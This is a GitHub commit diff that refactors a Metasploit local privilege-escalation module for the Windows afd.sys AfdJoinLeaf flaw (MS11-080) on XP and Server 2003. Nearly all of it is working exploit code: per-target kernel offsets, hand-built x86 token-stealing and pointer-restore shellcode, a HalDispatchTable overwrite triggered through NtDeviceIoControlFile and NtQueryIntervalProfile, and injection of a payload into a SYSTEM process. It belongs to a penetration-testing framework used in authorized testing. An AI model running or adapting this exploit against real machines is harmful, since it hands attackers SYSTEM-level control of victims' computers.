Skip to content

Commit 58d2916

Browse files
committed
Refactor MS11-080 to use the mixin and for style
1 parent 6543b08 commit 58d2916

File tree

1 file changed

+75
-138
lines changed

1 file changed

+75
-138
lines changed

modules/exploits/windows/local/ms11_080_afdjoinleaf.rb

Lines changed: 75 additions & 138 deletions
Original file line numberDiff line numberDiff line change
@@ -4,6 +4,7 @@
44
##
55

66
require 'msf/core'
7+
require 'msf/core/exploit/local/windows_kernel'
78
require 'rex'
89

910
class Metasploit3 < Msf::Exploit::Local
@@ -13,12 +14,14 @@ class Metasploit3 < Msf::Exploit::Local
1314
# the system process that it was injected into to die then it's also
1415
# possible that the system may become unstable.
1516

17+
include Msf::Exploit::Local::WindowsKernel
1618
include Msf::Post::Windows::Priv
19+
include Msf::Post::Windows::Process
1720

18-
def initialize(info={})
21+
def initialize(info = {})
1922
super(update_info(info, {
20-
'Name' => 'MS11-080 AfdJoinLeaf Privilege Escalation',
21-
'Description' => %q{
23+
'Name' => 'MS11-080 AfdJoinLeaf Privilege Escalation',
24+
'Description' => %q(
2225
This module exploits a flaw in the AfdJoinLeaf function of the
2326
afd.sys driver to overwrite data in kernel space. An address
2427
within the HalDispatchTable is overwritten and when triggered
@@ -27,25 +30,24 @@ def initialize(info={})
2730
This module will elevate itself to SYSTEM, then inject the payload
2831
into another SYSTEM process before restoring it's own token to
2932
avoid causing system instability.
30-
},
33+
),
3134
'License' => MSF_LICENSE,
3235
'Author' =>
3336
[
3437
'Matteo Memelli', # original exploit and all the hard work
3538
'Spencer McIntyre' # MSF module
3639
],
37-
'Arch' => [ ARCH_X86 ],
38-
'Platform' => [ 'win' ],
39-
'SessionTypes' => [ 'meterpreter' ],
40+
'Arch' => [ARCH_X86],
41+
'Platform' => ['win'],
42+
'SessionTypes' => ['meterpreter'],
4043
'DefaultOptions' =>
4144
{
42-
'EXITFUNC' => 'thread',
45+
'EXITFUNC' => 'thread'
4346
},
44-
'Targets' =>
47+
'Targets' =>
4548
[
46-
[ 'Automatic', { } ],
47-
48-
[ 'Windows XP SP2 / SP3',
49+
['Automatic', {}],
50+
['Windows XP SP2 / SP3',
4951
{
5052
'HaliQuerySystemInfo' => 0x16bba,
5153
'HalpSetSystemInformation' => 0x19436,
@@ -55,8 +57,7 @@ def initialize(info={})
5557
'_APLINKS' => "\x88"
5658
}
5759
],
58-
59-
[ 'Windows Server 2003 SP2',
60+
['Windows Server 2003 SP2',
6061
{
6162
'HaliQuerySystemInfo' => 0x1fa1e,
6263
'HalpSetSystemInformation' => 0x21c60,
@@ -65,220 +66,156 @@ def initialize(info={})
6566
'_UPID' => "\x94",
6667
'_APLINKS' => "\x98"
6768
}
68-
],
69+
]
6970
],
70-
'References' =>
71+
'References' =>
7172
[
72-
[ 'CVE', '2011-2005' ],
73-
[ 'OSVDB', '76232' ],
74-
[ 'EDB', '18176' ],
75-
[ 'MSB', 'MS11-080' ],
76-
[ 'URL', 'http://www.offensive-security.com/vulndev/ms11-080-voyage-into-ring-zero/' ]
73+
%w(CVE 2011-2005),
74+
%w(OSVDB 76232),
75+
%w(EDB 18176),
76+
%w(MSB MS11-080),
77+
%w(URL http://www.offensive-security.com/vulndev/ms11-080-voyage-into-ring-zero/)
7778
],
78-
'DisclosureDate'=> 'Nov 30 2011',
79-
'DefaultTarget' => 0
79+
'DisclosureDate' => 'Nov 30 2011',
80+
'DefaultTarget' => 0
8081
}))
81-
82-
register_options([
83-
])
84-
85-
end
86-
87-
def find_sys_base(drvname)
88-
session.railgun.add_dll('psapi') if not session.railgun.dlls.keys.include?('psapi')
89-
session.railgun.add_function('psapi', 'EnumDeviceDrivers', 'BOOL', [ ["PBLOB", "lpImageBase", "out"], ["DWORD", "cb", "in"], ["PDWORD", "lpcbNeeded", "out"]])
90-
session.railgun.add_function('psapi', 'GetDeviceDriverBaseNameA', 'DWORD', [ ["LPVOID", "ImageBase", "in"], ["PBLOB", "lpBaseName", "out"], ["DWORD", "nSize", "in"]])
91-
results = session.railgun.psapi.EnumDeviceDrivers(4096, 1024, 4)
92-
addresses = results['lpImageBase'][0..results['lpcbNeeded'] - 1].unpack("V*")
93-
94-
addresses.each do |address|
95-
results = session.railgun.psapi.GetDeviceDriverBaseNameA(address, 48, 48)
96-
current_drvname = results['lpBaseName'][0..results['return'] - 1]
97-
if drvname == nil
98-
if current_drvname.downcase.include?('krnl')
99-
return [address, current_drvname]
100-
end
101-
elsif drvname == results['lpBaseName'][0..results['return'] - 1]
102-
return [address, current_drvname]
103-
end
104-
end
10582
end
10683

10784
# Function borrowed from smart_hashdump
10885
def get_system_proc
10986
# Make sure you got the correct SYSTEM Account Name no matter the OS Language
110-
local_sys = resolve_sid("S-1-5-18")
87+
local_sys = resolve_sid('S-1-5-18')
11188
system_account_name = "#{local_sys[:domain]}\\#{local_sys[:name]}"
11289

11390
# Processes that can Blue Screen a host if migrated in to
114-
dangerous_processes = ["lsass.exe", "csrss.exe", "smss.exe"]
91+
dangerous_processes = ['lsass.exe', 'csrss.exe', 'smss.exe']
11592
session.sys.process.processes.each do |p|
11693
# Check we are not migrating to a process that can BSOD the host
117-
next if dangerous_processes.include?(p["name"])
118-
next if p["pid"] == session.sys.process.getpid
119-
next if p["pid"] == 4
120-
next if p["user"] != system_account_name
94+
next if dangerous_processes.include?(p['name'])
95+
next if p['pid'] == session.sys.process.getpid
96+
next if p['pid'] == 4
97+
next if p['user'] != system_account_name
12198
return p
12299
end
123100
end
124101

125102
def exploit
126-
if sysinfo["Architecture"] =~ /wow64/i
127-
print_error("Running against WOW64 is not supported")
103+
if sysinfo['Architecture'] =~ /wow64/i
104+
print_error('Running against WOW64 is not supported')
128105
return
129-
elsif sysinfo["Architecture"] =~ /x64/
130-
print_error("Running against 64-bit systems is not supported")
106+
elsif sysinfo['Architecture'] =~ /x64/
107+
print_error('Running against 64-bit systems is not supported')
131108
return
132109
end
133110

134111
mytarget = target
135112
if mytarget.name =~ /Automatic/
136-
os = sysinfo["OS"]
137-
if os =~ /windows xp/i
138-
mytarget = targets[1]
139-
end
140-
if ((os =~ /2003/) and (os =~ /service pack 2/i))
141-
mytarget = targets[2]
142-
end
143-
if ((os =~ /\.net server/i) and (os =~ /service pack 2/i))
113+
os = sysinfo['OS']
114+
mytarget = targets[1] if os =~ /windows xp/i
115+
mytarget = targets[2] if (os =~ /2003/) && (os =~ /service pack 2/i)
116+
if (os =~ /\.net server/i) && (os =~ /service pack 2/i)
144117
mytarget = targets[2]
145118
end
146119

147120
if mytarget.name =~ /Automatic/
148-
print_error("Could not identify the target system, it may not be supported")
121+
print_error('Could not identify the target system, it may not be supported')
149122
return
150123
end
151124
print_status("Running against #{mytarget.name}")
152125
end
153126

154127
if is_system?
155-
print_error("This meterpreter session is already running as SYSTEM")
128+
print_error('This meterpreter session is already running as SYSTE')
156129
return
157130
end
158131

159132
this_proc = session.sys.process.open
160-
kernel_info = find_sys_base(nil)
161133
base_addr = 0x1001
162-
print_status("Kernel Base Address: 0x#{kernel_info[0].to_s(16)}")
163134

164-
result = session.railgun.ws2_32.WSASocketA("AF_INET", "SOCK_STREAM", "IPPROTO_TCP", nil, nil, 0)
135+
result = session.railgun.ws2_32.WSASocketA('AF_INET', 'SOCK_STREAM', 'IPPROTO_TCP', nil, nil, 0)
165136
socket = result['return']
166137

167138
irpstuff = rand_text_alpha(8)
168139
irpstuff << "\x00\x00\x00\x00"
169140
irpstuff << rand_text_alpha(4)
170141
irpstuff << "\x01\x00\x00\x00"
171-
irpstuff << "\xe8\x00" + "4" + "\xf0\x00"
142+
irpstuff << "\xe8\x00\x34\xf0\x00"
172143
irpstuff << rand_text_alpha(231)
173144

174-
if not this_proc.memory.writable?(0x1000)
175-
result = session.railgun.ntdll.NtAllocateVirtualMemory(-1, [ base_addr ].pack("V"), nil, [ 0x1000 ].pack("V"), "MEM_COMMIT | MEM_RESERVE", "PAGE_EXECUTE_READWRITE")
145+
unless this_proc.memory.writable?(0x1000)
146+
session.railgun.ntdll.NtAllocateVirtualMemory(-1, [base_addr].pack('V'), nil, [0x1000].pack('V'), 'MEM_COMMIT | MEM_RESERVE', 'PAGE_EXECUTE_READWRITE')
176147
end
177-
if not this_proc.memory.writable?(0x1000)
148+
unless this_proc.memory.writable?(0x1000)
178149
print_error('Failed to properly allocate memory')
179150
return
180151
end
181152
this_proc.memory.write(0x1000, irpstuff)
182153

183-
hKernel = session.railgun.kernel32.LoadLibraryExA(kernel_info[1], 0, 1)
184-
hKernel = hKernel['return']
185-
halDispatchTable = session.railgun.kernel32.GetProcAddress(hKernel, "HalDispatchTable")
186-
halDispatchTable = halDispatchTable['return']
187-
halDispatchTable -= hKernel
188-
halDispatchTable += kernel_info[0]
189-
print_status("HalDisPatchTable Address: 0x#{halDispatchTable.to_s(16)}")
154+
haldispatchtable = find_haldispatchtable
155+
return if haldispatchtable.nil?
190156

191-
halbase = find_sys_base("hal.dll")[0]
192-
haliQuerySystemInformation = halbase + mytarget['HaliQuerySystemInfo']
193-
halpSetSystemInformation = halbase + mytarget['HalpSetSystemInformation']
194-
print_status("HaliQuerySystemInformation Address: 0x#{haliQuerySystemInformation.to_s(16)}")
195-
print_status("HalpSetSystemInformation Address: 0x#{halpSetSystemInformation.to_s(16)}")
157+
halbase = find_sys_base('hal.dll')[0]
158+
hal_iquerysysteminformation = halbase + mytarget['HaliQuerySystemInfo']
159+
hal_psetsysteminformation = halbase + mytarget['HalpSetSystemInformation']
160+
print_status("HaliQuerySystemInformation Address: 0x#{hal_iquerysysteminformation.to_s(16).rjust(8, '0')}")
161+
print_status("HalpSetSystemInformation Address: 0x#{hal_psetsysteminformation.to_s(16).rjust(8, '0')}")
196162

197163
#### Exploitation ####
198-
shellcode_address_dep = 0x0002071e
164+
shellcode_address_dep = 0x0002071e
199165
shellcode_address_nodep = 0x000207b8
200-
padding = make_nops(2)
201-
halDispatchTable0x4 = halDispatchTable + 0x4
202-
halDispatchTable0x8 = halDispatchTable + 0x8
166+
padding = make_nops(2)
167+
backup_token = 0x20900
203168

204169
restore_ptrs = "\x31\xc0"
205-
restore_ptrs << "\xb8" + [ halpSetSystemInformation ].pack("V")
206-
restore_ptrs << "\xa3" + [ halDispatchTable0x8 ].pack("V")
207-
restore_ptrs << "\xb8" + [ haliQuerySystemInformation ].pack("V")
208-
restore_ptrs << "\xa3" + [ halDispatchTable0x4 ].pack("V")
209-
210-
tokenstealing = "\x52"
211-
tokenstealing << "\x53"
212-
tokenstealing << "\x33\xc0"
213-
tokenstealing << "\x64\x8b\x80\x24\x01\x00\x00"
214-
tokenstealing << "\x8b\x40" + mytarget['_KPROCESS']
215-
tokenstealing << "\x8b\xc8"
216-
tokenstealing << "\x8b\x98" + mytarget['_TOKEN'] + "\x00\x00\x00"
217-
tokenstealing << "\x89\x1d\x00\x09\x02\x00"
218-
tokenstealing << "\x8b\x80" + mytarget['_APLINKS'] + "\x00\x00\x00"
219-
tokenstealing << "\x81\xe8" + mytarget['_APLINKS'] + "\x00\x00\x00"
220-
tokenstealing << "\x81\xb8" + mytarget['_UPID'] + "\x00\x00\x00\x04\x00\x00\x00"
221-
tokenstealing << "\x75\xe8"
222-
tokenstealing << "\x8b\x90" + mytarget['_TOKEN'] + "\x00\x00\x00"
223-
tokenstealing << "\x8b\xc1"
224-
tokenstealing << "\x89\x90" + mytarget['_TOKEN'] + "\x00\x00\x00"
225-
tokenstealing << "\x5b"
226-
tokenstealing << "\x5a"
227-
tokenstealing << "\xc2\x10"
170+
restore_ptrs << "\xb8" + [hal_psetsysteminformation].pack('V')
171+
restore_ptrs << "\xa3" + [haldispatchtable + 8].pack('V')
172+
restore_ptrs << "\xb8" + [hal_iquerysysteminformation].pack('V')
173+
restore_ptrs << "\xa3" + [haldispatchtable + 4].pack('V')
228174

229175
restore_token = "\x52"
230176
restore_token << "\x33\xc0"
231177
restore_token << "\x64\x8b\x80\x24\x01\x00\x00"
232178
restore_token << "\x8b\x40" + mytarget['_KPROCESS']
233-
restore_token << "\x8b\x15\x00\x09\x02\x00"
179+
restore_token << "\x8b\x15" + [backup_token].pack('V')
234180
restore_token << "\x89\x90" + mytarget['_TOKEN'] + "\x00\x00\x00"
235181
restore_token << "\x5a"
236182
restore_token << "\xc2\x10"
237183

238-
shellcode = padding + restore_ptrs + tokenstealing
184+
shellcode = padding + restore_ptrs + token_stealing_shellcode(mytarget, backup_token)
239185

240186
this_proc.memory.write(shellcode_address_dep, shellcode)
241187
this_proc.memory.write(shellcode_address_nodep, shellcode)
242188
this_proc.memory.protect(0x00020000)
243189

244-
addr = [ 2, 4455, 0x7f000001, 0, 0 ].pack("vvVVV")
190+
addr = [2, 4455, 0x7f000001, 0, 0].pack('vvVVV')
245191
result = session.railgun.ws2_32.connect(socket, addr, addr.length)
246192
if result['return'] != 0xffffffff
247-
print_error("The socket is not in the correct state")
193+
print_error('The socket is not in the correct state')
248194
return
249195
end
250196

251-
print_status("Triggering AFDJoinLeaf pointer overwrite...")
252-
result = session.railgun.ntdll.NtDeviceIoControlFile(socket, 0, 0, 0, 4, 0x000120bb, 0x1004, 0x108, halDispatchTable0x4 + 0x1, 0)
253-
result = session.railgun.ntdll.NtQueryIntervalProfile(1337, 4)
197+
print_status('Triggering AFDJoinLeaf pointer overwrite...')
198+
session.railgun.ntdll.NtDeviceIoControlFile(socket, 0, 0, 0, 4, 0x000120bb, 0x1004, 0x108, haldispatchtable + 5, 0)
199+
session.railgun.ntdll.NtQueryIntervalProfile(1337, 4)
254200

255-
if not is_system?
256-
print_error("Exploit failed")
201+
unless is_system?
202+
print_error('Exploit failed')
257203
return
258204
end
259205

260-
begin
261-
proc = get_system_proc
262-
print_status("Injecting the payload into SYSTEM process: #{proc["name"]} PID: #{proc["pid"]}")
263-
host_process = client.sys.process.open(proc["pid"], PROCESS_ALL_ACCESS)
264-
mem = host_process.memory.allocate(payload.encoded.length + (payload.encoded.length % 1024))
265-
266-
print_status("Writing #{payload.encoded.length} bytes at address #{"0x%.8x" % mem}")
267-
host_process.memory.write(mem, payload.encoded)
268-
host_process.thread.create(mem, 0)
269-
rescue ::Exception => e
270-
print_error("Failed to Inject Payload")
271-
print_error(e.to_s)
206+
proc = get_system_proc
207+
print_status("Injecting the payload into SYSTEM process: #{proc['name']}")
208+
unless execute_shellcode(payload.encoded, nil, proc['pid'])
209+
print_error('An error occurred while executing the payload')
272210
end
273211

274212
# Restore the token because apparently BSODs are frowned upon
275-
print_status("Restoring the original token...")
213+
print_status('Restoring the original token...')
276214
shellcode = padding + restore_ptrs + restore_token
277215
this_proc.memory.write(shellcode_address_dep, shellcode)
278216
this_proc.memory.write(shellcode_address_nodep, shellcode)
279217

280-
result = session.railgun.ntdll.NtDeviceIoControlFile(socket, 0, 0, 0, 4, 0x000120bb, 0x1004, 0x108, halDispatchTable0x4 + 0x1, 0)
281-
result = session.railgun.ntdll.NtQueryIntervalProfile(1337, 4)
218+
session.railgun.ntdll.NtDeviceIoControlFile(socket, 0, 0, 0, 4, 0x000120bb, 0x1004, 0x108, haldispatchtable + 5, 0)
219+
session.railgun.ntdll.NtQueryIntervalProfile(1337, 4)
282220
end
283-
284221
end

0 commit comments

Comments
 (0)